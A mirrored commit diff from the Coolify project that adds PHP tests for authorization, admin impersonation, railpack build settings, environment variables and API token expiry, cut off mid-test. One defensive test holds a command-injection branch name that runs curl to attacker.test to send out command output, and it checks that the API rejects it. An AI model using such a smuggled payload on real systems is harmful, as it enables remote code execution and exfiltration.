mirror of
https://github.com/tiennm99/coolify.git
synced 2026-10-13 00:14:24 +00:00
Merge remote-tracking branch 'origin/next' into jean/port-exposes-improvement
This commit is contained in:
commit
07f381b88c
766 files changed
+43286
-12686
No files matched your search
@@ -1,9 +1,11 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\ActivityMonitor;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Exceptions\CannotUpdateLockedPropertyException;
|
||||
use Livewire\Livewire;
|
||||
use Spatie\Activitylog\Models\Activity;
|
||||
|
||||
@@ -17,7 +19,7 @@ beforeEach(function () {
|
||||
$this->otherTeam = Team::factory()->create();
|
||||
});
|
||||
|
||||
test('hydrateActivity blocks access to another teams activity', function () {
|
||||
test('hydrateActivity blocks access to another teams activity via team_id', function () {
|
||||
$otherActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'test activity',
|
||||
@@ -27,12 +29,12 @@ test('hydrateActivity blocks access to another teams activity', function () {
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
$component = Livewire::test(ActivityMonitor::class)
|
||||
->set('activityId', $otherActivity->id)
|
||||
Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', $otherActivity->id)
|
||||
->assertSet('activity', null);
|
||||
});
|
||||
|
||||
test('hydrateActivity allows access to own teams activity', function () {
|
||||
test('hydrateActivity allows access to own teams activity via team_id', function () {
|
||||
$ownActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'test activity',
|
||||
@@ -43,13 +45,13 @@ test('hydrateActivity allows access to own teams activity', function () {
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
$component = Livewire::test(ActivityMonitor::class)
|
||||
->set('activityId', $ownActivity->id);
|
||||
->call('newMonitorActivity', $ownActivity->id);
|
||||
|
||||
expect($component->get('activity'))->not->toBeNull();
|
||||
expect($component->get('activity')->id)->toBe($ownActivity->id);
|
||||
});
|
||||
|
||||
test('hydrateActivity allows access to activity without team_id in properties', function () {
|
||||
test('hydrateActivity blocks access to activity without team_id or server_uuid', function () {
|
||||
$legacyActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'legacy activity',
|
||||
@@ -59,9 +61,72 @@ test('hydrateActivity allows access to activity without team_id in properties',
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', $legacyActivity->id)
|
||||
->assertSet('activity', null);
|
||||
});
|
||||
|
||||
test('hydrateActivity blocks access to activity from another teams server via server_uuid', function () {
|
||||
$otherServer = Server::factory()->create([
|
||||
'team_id' => $this->otherTeam->id,
|
||||
]);
|
||||
|
||||
$otherActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'test activity',
|
||||
'properties' => ['server_uuid' => $otherServer->uuid],
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', $otherActivity->id)
|
||||
->assertSet('activity', null);
|
||||
});
|
||||
|
||||
test('hydrateActivity allows access to activity from own teams server via server_uuid', function () {
|
||||
$ownServer = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$ownActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'test activity',
|
||||
'properties' => ['server_uuid' => $ownServer->uuid],
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
$component = Livewire::test(ActivityMonitor::class)
|
||||
->set('activityId', $legacyActivity->id);
|
||||
->call('newMonitorActivity', $ownActivity->id);
|
||||
|
||||
expect($component->get('activity'))->not->toBeNull();
|
||||
expect($component->get('activity')->id)->toBe($legacyActivity->id);
|
||||
expect($component->get('activity')->id)->toBe($ownActivity->id);
|
||||
});
|
||||
|
||||
test('hydrateActivity returns null for non-existent activity id', function () {
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', 99999)
|
||||
->assertSet('activity', null);
|
||||
});
|
||||
|
||||
test('activityId property is locked and cannot be set from client', function () {
|
||||
$otherActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'test activity',
|
||||
'properties' => ['team_id' => $this->otherTeam->id],
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
// Attempting to set a #[Locked] property from the client should throw
|
||||
Livewire::test(ActivityMonitor::class)
|
||||
->set('activityId', $otherActivity->id)
|
||||
->assertStatus(500);
|
||||
})->throws(CannotUpdateLockedPropertyException::class);
|
||||
@@ -0,0 +1,159 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Admin\Index as AdminIndex;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('unauthenticated user cannot access admin route', function () {
|
||||
$response = $this->get('/admin');
|
||||
|
||||
$response->assertRedirect('/login');
|
||||
});
|
||||
|
||||
test('authenticated non-root user gets 403 on admin page', function () {
|
||||
$team = Team::factory()->create();
|
||||
$user = User::factory()->create();
|
||||
$team->members()->attach($user->id, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($user);
|
||||
session(['currentTeam' => ['id' => $team->id]]);
|
||||
|
||||
Livewire::test(AdminIndex::class)
|
||||
->assertForbidden();
|
||||
});
|
||||
|
||||
test('root user can access admin page in cloud mode', function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
|
||||
$rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
|
||||
$rootUser = User::factory()->create(['id' => 0]);
|
||||
$rootTeam->members()->attach($rootUser->id, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($rootUser);
|
||||
session(['currentTeam' => ['id' => $rootTeam->id]]);
|
||||
|
||||
Livewire::test(AdminIndex::class)
|
||||
->assertOk();
|
||||
});
|
||||
|
||||
test('root user gets 403 on admin page in self-hosted non-dev mode', function () {
|
||||
config()->set('constants.coolify.self_hosted', true);
|
||||
config()->set('app.env', 'production');
|
||||
|
||||
$rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
|
||||
$rootUser = User::factory()->create(['id' => 0]);
|
||||
$rootTeam->members()->attach($rootUser->id, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($rootUser);
|
||||
session(['currentTeam' => ['id' => $rootTeam->id]]);
|
||||
|
||||
Livewire::test(AdminIndex::class)
|
||||
->assertForbidden();
|
||||
});
|
||||
|
||||
test('submitSearch requires admin authorization', function () {
|
||||
$team = Team::factory()->create();
|
||||
$user = User::factory()->create();
|
||||
$team->members()->attach($user->id, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($user);
|
||||
session(['currentTeam' => ['id' => $team->id]]);
|
||||
|
||||
Livewire::test(AdminIndex::class)
|
||||
->assertForbidden();
|
||||
});
|
||||
|
||||
test('switchUser requires root user id 0', function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
|
||||
$rootUser = User::factory()->create(['id' => 0]);
|
||||
$rootTeam = Team::find(0);
|
||||
|
||||
$targetUser = User::factory()->create();
|
||||
$targetTeam = Team::factory()->create();
|
||||
$targetTeam->members()->attach($targetUser->id, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($rootUser);
|
||||
session(['currentTeam' => ['id' => $rootTeam->id]]);
|
||||
|
||||
Livewire::test(AdminIndex::class)
|
||||
->assertOk()
|
||||
->call('switchUser', $targetUser->id)
|
||||
->assertRedirect(route('dashboard'));
|
||||
});
|
||||
|
||||
test('back() redirects impersonator to admin index and clears session', function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
|
||||
$rootUser = User::factory()->create(['id' => 0]);
|
||||
$rootTeam = Team::find(0);
|
||||
|
||||
$this->actingAs($rootUser);
|
||||
session([
|
||||
'currentTeam' => ['id' => $rootTeam->id],
|
||||
'impersonating' => true,
|
||||
]);
|
||||
|
||||
Livewire::test(AdminIndex::class)
|
||||
->call('back')
|
||||
->assertRedirect(route('admin.index'));
|
||||
|
||||
expect(session('impersonating'))->toBeNull();
|
||||
});
|
||||
|
||||
test('switchUser ignores Referer header and uses dashboard route', function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
|
||||
$rootUser = User::factory()->create(['id' => 0]);
|
||||
$rootTeam = Team::find(0);
|
||||
|
||||
$targetUser = User::factory()->create();
|
||||
$targetTeam = Team::factory()->create();
|
||||
$targetTeam->members()->attach($targetUser->id, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($rootUser);
|
||||
session(['currentTeam' => ['id' => $rootTeam->id]]);
|
||||
|
||||
Livewire::withHeaders(['Referer' => 'https://example.com/elsewhere'])
|
||||
->test(AdminIndex::class)
|
||||
->call('switchUser', $targetUser->id)
|
||||
->assertRedirect(route('dashboard'));
|
||||
});
|
||||
|
||||
test('switchUser rejects non-root user', function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
|
||||
$team = Team::factory()->create();
|
||||
$user = User::factory()->create();
|
||||
$team->members()->attach($user->id, ['role' => 'admin']);
|
||||
|
||||
// Must set impersonating session to bypass mount() check
|
||||
$this->actingAs($user);
|
||||
session([
|
||||
'currentTeam' => ['id' => $team->id],
|
||||
'impersonating' => true,
|
||||
]);
|
||||
|
||||
Livewire::test(AdminIndex::class)
|
||||
->call('switchUser', 999)
|
||||
->assertForbidden();
|
||||
});
|
||||
|
||||
test('admin route has auth middleware applied', function () {
|
||||
$route = collect(app('router')->getRoutes()->getRoutesByName())
|
||||
->get('admin.index');
|
||||
|
||||
expect($route)->not->toBeNull();
|
||||
|
||||
$middleware = $route->gatherMiddleware();
|
||||
|
||||
expect($middleware)->toContain('auth');
|
||||
});
|
||||
@@ -0,0 +1,89 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Str;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$plainTextToken = Str::random(40);
|
||||
$token = $this->user->tokens()->create([
|
||||
'name' => 'git-branch-security-test-'.Str::random(6),
|
||||
'token' => hash('sha256', $plainTextToken),
|
||||
'abilities' => ['*'],
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
StandaloneDocker::withoutEvents(function () {
|
||||
$this->destination = $this->server->standaloneDockers()->firstOrCreate(
|
||||
['network' => 'coolify'],
|
||||
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
|
||||
);
|
||||
});
|
||||
|
||||
$this->project = Project::create([
|
||||
'uuid' => (string) new Cuid2,
|
||||
'name' => 'test-project',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->environment = $this->project->environments()->first();
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'git_branch' => 'main',
|
||||
]);
|
||||
});
|
||||
|
||||
function gitBranchApiHeaders(string $bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid} git_branch security', function () {
|
||||
test('rejects backtick command substitution branch payloads', function () {
|
||||
$payload = 'main`curl${IFS}attacker.test/coolify-rce-`id${IFS}-u``';
|
||||
|
||||
$response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'git_branch' => $payload,
|
||||
]);
|
||||
|
||||
$response->assertUnprocessable()
|
||||
->assertJsonValidationErrors('git_branch');
|
||||
|
||||
expect($this->application->refresh()->git_branch)->toBe('main');
|
||||
});
|
||||
|
||||
test('accepts safe branch names', function () {
|
||||
$response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'git_branch' => 'feature/safe-branch_1.2.3',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
expect($this->application->refresh()->git_branch)->toBe('feature/safe-branch_1.2.3');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,344 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$plainTextToken = Str::random(40);
|
||||
$token = $this->user->tokens()->create([
|
||||
'name' => 'railpack-api-test-'.Str::random(6),
|
||||
'token' => hash('sha256', $plainTextToken),
|
||||
'abilities' => ['*'],
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function railpackApiHeaders(string $bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
function makeRailpackApp(array $overrides = []): Application
|
||||
{
|
||||
return Application::factory()->create(array_merge([
|
||||
'environment_id' => test()->environment->id,
|
||||
'destination_id' => test()->destination->id,
|
||||
'destination_type' => test()->destination->getMorphClass(),
|
||||
'build_pack' => 'railpack',
|
||||
], $overrides));
|
||||
}
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid} build_pack=railpack', function () {
|
||||
test('rejects unsupported build_pack at controller layer', function () {
|
||||
$app = makeRailpackApp();
|
||||
|
||||
$response = $this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$app->uuid}", [
|
||||
'build_pack' => 'totally-bogus',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('switching from dockerfile to railpack clears dockerfile fields', function () {
|
||||
$app = makeRailpackApp([
|
||||
'build_pack' => 'dockerfile',
|
||||
'dockerfile' => 'FROM node:20',
|
||||
'dockerfile_location' => '/Dockerfile',
|
||||
'dockerfile_target_build' => 'production',
|
||||
'custom_healthcheck_found' => true,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$app->uuid}", [
|
||||
'build_pack' => 'railpack',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
$app->refresh();
|
||||
expect($app->build_pack)->toBe('railpack');
|
||||
expect($app->dockerfile)->toBeNull();
|
||||
expect($app->dockerfile_location)->toBeNull();
|
||||
expect($app->dockerfile_target_build)->toBeNull();
|
||||
expect((bool) $app->custom_healthcheck_found)->toBeFalse();
|
||||
});
|
||||
|
||||
test('switching from dockercompose to railpack clears compose fields and SERVICE_* envs', function () {
|
||||
$app = makeRailpackApp([
|
||||
'build_pack' => 'dockercompose',
|
||||
'docker_compose_domains' => '{"app": "example.com"}',
|
||||
'docker_compose_raw' => "version: '3'\nservices:\n app:\n image: nginx",
|
||||
]);
|
||||
|
||||
$app->environment_variables()->createMany([
|
||||
['key' => 'SERVICE_FQDN_APP', 'value' => 'app.example.com', 'is_buildtime' => false, 'is_preview' => false],
|
||||
['key' => 'SERVICE_URL_APP', 'value' => 'http://app.example.com', 'is_buildtime' => false, 'is_preview' => false],
|
||||
['key' => 'REGULAR_VAR', 'value' => 'keep_me', 'is_buildtime' => false, 'is_preview' => false],
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$app->uuid}", [
|
||||
'build_pack' => 'railpack',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
$app->refresh();
|
||||
expect($app->build_pack)->toBe('railpack');
|
||||
expect($app->docker_compose_domains)->toBeNull();
|
||||
expect($app->docker_compose_raw)->toBeNull();
|
||||
expect($app->environment_variables()->where('key', 'SERVICE_FQDN_APP')->count())->toBe(0);
|
||||
expect($app->environment_variables()->where('key', 'SERVICE_URL_APP')->count())->toBe(0);
|
||||
expect($app->environment_variables()->where('key', 'REGULAR_VAR')->count())->toBe(1);
|
||||
});
|
||||
|
||||
test('install/build/start commands persist for railpack apps', function () {
|
||||
$app = makeRailpackApp();
|
||||
|
||||
$response = $this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$app->uuid}", [
|
||||
'install_command' => 'npm ci',
|
||||
'build_command' => 'npm run build',
|
||||
'start_command' => 'node server.js',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
$app->refresh();
|
||||
expect($app->install_command)->toBe('npm ci');
|
||||
expect($app->build_command)->toBe('npm run build');
|
||||
expect($app->start_command)->toBe('node server.js');
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/applications/{uuid}/envs RAILPACK_* handling', function () {
|
||||
test('adding RAILPACK_NODE_VERSION via API surfaces in railpack_environment_variables only', function () {
|
||||
$app = makeRailpackApp();
|
||||
|
||||
$response = $this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$app->uuid}/envs", [
|
||||
'key' => 'RAILPACK_NODE_VERSION',
|
||||
'value' => '20',
|
||||
'is_buildtime' => true,
|
||||
'is_runtime' => false,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$response->assertCreated();
|
||||
|
||||
$app->refresh();
|
||||
expect($app->railpack_environment_variables)->toHaveCount(1);
|
||||
expect($app->railpack_environment_variables->first()->key)->toBe('RAILPACK_NODE_VERSION');
|
||||
expect($app->runtime_environment_variables->where('key', 'RAILPACK_NODE_VERSION'))->toHaveCount(0);
|
||||
});
|
||||
|
||||
test('runtime envs added via API surface in runtime_environment_variables but not railpack_*', function () {
|
||||
$app = makeRailpackApp();
|
||||
|
||||
$this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$app->uuid}/envs", [
|
||||
'key' => 'APP_ENV',
|
||||
'value' => 'production',
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'is_preview' => false,
|
||||
])->assertCreated();
|
||||
|
||||
$this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$app->uuid}/envs", [
|
||||
'key' => 'NIXPACKS_NODE_VERSION',
|
||||
'value' => '18',
|
||||
'is_buildtime' => true,
|
||||
'is_runtime' => false,
|
||||
'is_preview' => false,
|
||||
])->assertCreated();
|
||||
|
||||
$app->refresh();
|
||||
$runtime = $app->runtime_environment_variables;
|
||||
expect($runtime->pluck('key')->all())->toBe(['APP_ENV']);
|
||||
expect($app->railpack_environment_variables)->toHaveCount(0);
|
||||
});
|
||||
|
||||
test('preview RAILPACK_* envs surface in railpack_environment_variables_preview only', function () {
|
||||
$app = makeRailpackApp();
|
||||
|
||||
$this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$app->uuid}/envs", [
|
||||
'key' => 'RAILPACK_BUILD_CMD',
|
||||
'value' => 'npm run build',
|
||||
'is_buildtime' => true,
|
||||
'is_runtime' => false,
|
||||
'is_preview' => true,
|
||||
])->assertCreated();
|
||||
|
||||
$app->refresh();
|
||||
expect($app->railpack_environment_variables_preview)->toHaveCount(1);
|
||||
expect($app->railpack_environment_variables)->toHaveCount(0);
|
||||
});
|
||||
|
||||
test('buildtime-only env has is_buildtime=true and is_runtime=false', function () {
|
||||
$app = makeRailpackApp();
|
||||
|
||||
$this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$app->uuid}/envs", [
|
||||
'key' => 'API_KEY',
|
||||
'value' => 'sekret',
|
||||
'is_buildtime' => true,
|
||||
'is_runtime' => false,
|
||||
'is_preview' => false,
|
||||
])->assertCreated();
|
||||
|
||||
$app->refresh();
|
||||
$env = $app->environment_variables()->where('key', 'API_KEY')->first();
|
||||
expect($env)->not->toBeNull();
|
||||
expect((bool) $env->is_buildtime)->toBeTrue();
|
||||
expect((bool) $env->is_runtime)->toBeFalse();
|
||||
// Buildtime-only non-RAILPACK_ var: visible to runtime relation (it's not a buildpack-control var)
|
||||
// but is_runtime flag is false; consumers gate runtime via is_runtime, not via the relation alone.
|
||||
expect($env->resourceable_id)->toBe($app->id);
|
||||
});
|
||||
|
||||
test('runtime-only env has is_runtime=true and is_buildtime=false', function () {
|
||||
$app = makeRailpackApp();
|
||||
|
||||
$this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$app->uuid}/envs", [
|
||||
'key' => 'LOG_LEVEL',
|
||||
'value' => 'debug',
|
||||
'is_buildtime' => false,
|
||||
'is_runtime' => true,
|
||||
'is_preview' => false,
|
||||
])->assertCreated();
|
||||
|
||||
$app->refresh();
|
||||
$env = $app->environment_variables()->where('key', 'LOG_LEVEL')->first();
|
||||
expect((bool) $env->is_buildtime)->toBeFalse();
|
||||
expect((bool) $env->is_runtime)->toBeTrue();
|
||||
});
|
||||
|
||||
test('railpack build variables collection includes only is_buildtime=true entries', function () {
|
||||
// Sanity check the underlying query used by the deploy job: railpack_build_variables()
|
||||
// pulls $application->environment_variables()->where('is_buildtime', true)->get()
|
||||
// (see ApplicationDeploymentJob::railpack_build_variables).
|
||||
$app = makeRailpackApp();
|
||||
|
||||
$this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$app->uuid}/envs", [
|
||||
'key' => 'BUILD_ARG',
|
||||
'value' => 'in-build',
|
||||
'is_buildtime' => true,
|
||||
'is_runtime' => false,
|
||||
'is_preview' => false,
|
||||
])->assertCreated();
|
||||
|
||||
$this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$app->uuid}/envs", [
|
||||
'key' => 'RUNTIME_ARG',
|
||||
'value' => 'in-runtime',
|
||||
'is_buildtime' => false,
|
||||
'is_runtime' => true,
|
||||
'is_preview' => false,
|
||||
])->assertCreated();
|
||||
|
||||
$app->refresh();
|
||||
$buildtime = $app->environment_variables()->where('is_buildtime', true)->pluck('key')->all();
|
||||
expect($buildtime)->toContain('BUILD_ARG');
|
||||
expect($buildtime)->not->toContain('RUNTIME_ARG');
|
||||
});
|
||||
|
||||
test('user-defined COOLIFY_FQDN takes precedence over auto-generated', function () {
|
||||
// Documents generate_coolify_env_variables() override behavior:
|
||||
// it skips generation when application->environment_variables already has the key.
|
||||
$app = makeRailpackApp();
|
||||
|
||||
$this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$app->uuid}/envs", [
|
||||
'key' => 'COOLIFY_FQDN',
|
||||
'value' => 'overridden.example.com',
|
||||
'is_buildtime' => true,
|
||||
'is_runtime' => true,
|
||||
'is_preview' => false,
|
||||
])->assertCreated();
|
||||
|
||||
$app->refresh();
|
||||
$env = $app->environment_variables()->where('key', 'COOLIFY_FQDN')->first();
|
||||
expect($env)->not->toBeNull();
|
||||
expect($env->value)->toBe('overridden.example.com');
|
||||
// Confirm the model relation used by override-skip logic finds it
|
||||
expect($app->environment_variables->where('key', 'COOLIFY_FQDN')->isEmpty())->toBeFalse();
|
||||
});
|
||||
|
||||
test('is_literal flag persists on create', function () {
|
||||
$app = makeRailpackApp();
|
||||
|
||||
$this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$app->uuid}/envs", [
|
||||
'key' => 'RAILPACK_LITERAL_FLAG',
|
||||
'value' => '$NOT_INTERPOLATED',
|
||||
'is_buildtime' => true,
|
||||
'is_runtime' => false,
|
||||
'is_preview' => false,
|
||||
'is_literal' => true,
|
||||
])->assertCreated();
|
||||
|
||||
$app->refresh();
|
||||
$env = $app->environment_variables()->where('key', 'RAILPACK_LITERAL_FLAG')->first();
|
||||
expect((bool) $env->is_literal)->toBeTrue();
|
||||
});
|
||||
|
||||
test('PATCH env updates buildtime/runtime flags', function () {
|
||||
$app = makeRailpackApp();
|
||||
|
||||
$this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$app->uuid}/envs", [
|
||||
'key' => 'TOGGLE_VAR',
|
||||
'value' => 'v1',
|
||||
'is_buildtime' => true,
|
||||
'is_runtime' => true,
|
||||
'is_preview' => false,
|
||||
])->assertCreated();
|
||||
|
||||
$this->withHeaders(railpackApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$app->uuid}/envs", [
|
||||
'key' => 'TOGGLE_VAR',
|
||||
'value' => 'v2',
|
||||
'is_buildtime' => false,
|
||||
'is_runtime' => true,
|
||||
'is_multiline' => false,
|
||||
'is_shown_once' => false,
|
||||
])->assertStatus(201);
|
||||
|
||||
$app->refresh();
|
||||
$env = $app->environment_variables()->where('key', 'TOGGLE_VAR')->first();
|
||||
expect($env->value)->toBe('v2');
|
||||
expect((bool) $env->is_buildtime)->toBeFalse();
|
||||
expect((bool) $env->is_runtime)->toBeTrue();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,81 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Security\ApiTokens;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
$this->actingAs($this->user);
|
||||
});
|
||||
|
||||
describe('token creation with expiration', function () {
|
||||
test('livewire component stores expires_at when expiresInDays set', function () {
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('description', 'test-token')
|
||||
->set('expiresInDays', 7)
|
||||
->set('permissions', ['read'])
|
||||
->call('addNewToken')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$token = $this->user->tokens()->latest()->first();
|
||||
|
||||
expect($token)->not->toBeNull()
|
||||
->and($token->expires_at)->not->toBeNull()
|
||||
->and($token->expires_at->diffInDays(now()))->toBeGreaterThanOrEqual(6)
|
||||
->and($token->expires_at->diffInDays(now()))->toBeLessThanOrEqual(7);
|
||||
});
|
||||
|
||||
test('livewire component stores null expires_at when expiresInDays null (Never)', function () {
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('description', 'never-token')
|
||||
->set('expiresInDays', null)
|
||||
->set('permissions', ['read'])
|
||||
->call('addNewToken')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$token = $this->user->tokens()->latest()->first();
|
||||
|
||||
expect($token)->not->toBeNull()
|
||||
->and($token->expires_at)->toBeNull();
|
||||
});
|
||||
|
||||
test('livewire component rejects invalid expiresInDays value', function () {
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('description', 'bad-token')
|
||||
->set('expiresInDays', 42)
|
||||
->set('permissions', ['read'])
|
||||
->call('addNewToken')
|
||||
->assertHasErrors('expiresInDays');
|
||||
});
|
||||
});
|
||||
|
||||
describe('expired token rejected on API', function () {
|
||||
test('request with expired token returns 401', function () {
|
||||
$token = $this->user->createToken('expired', ['read'], now()->subDay());
|
||||
|
||||
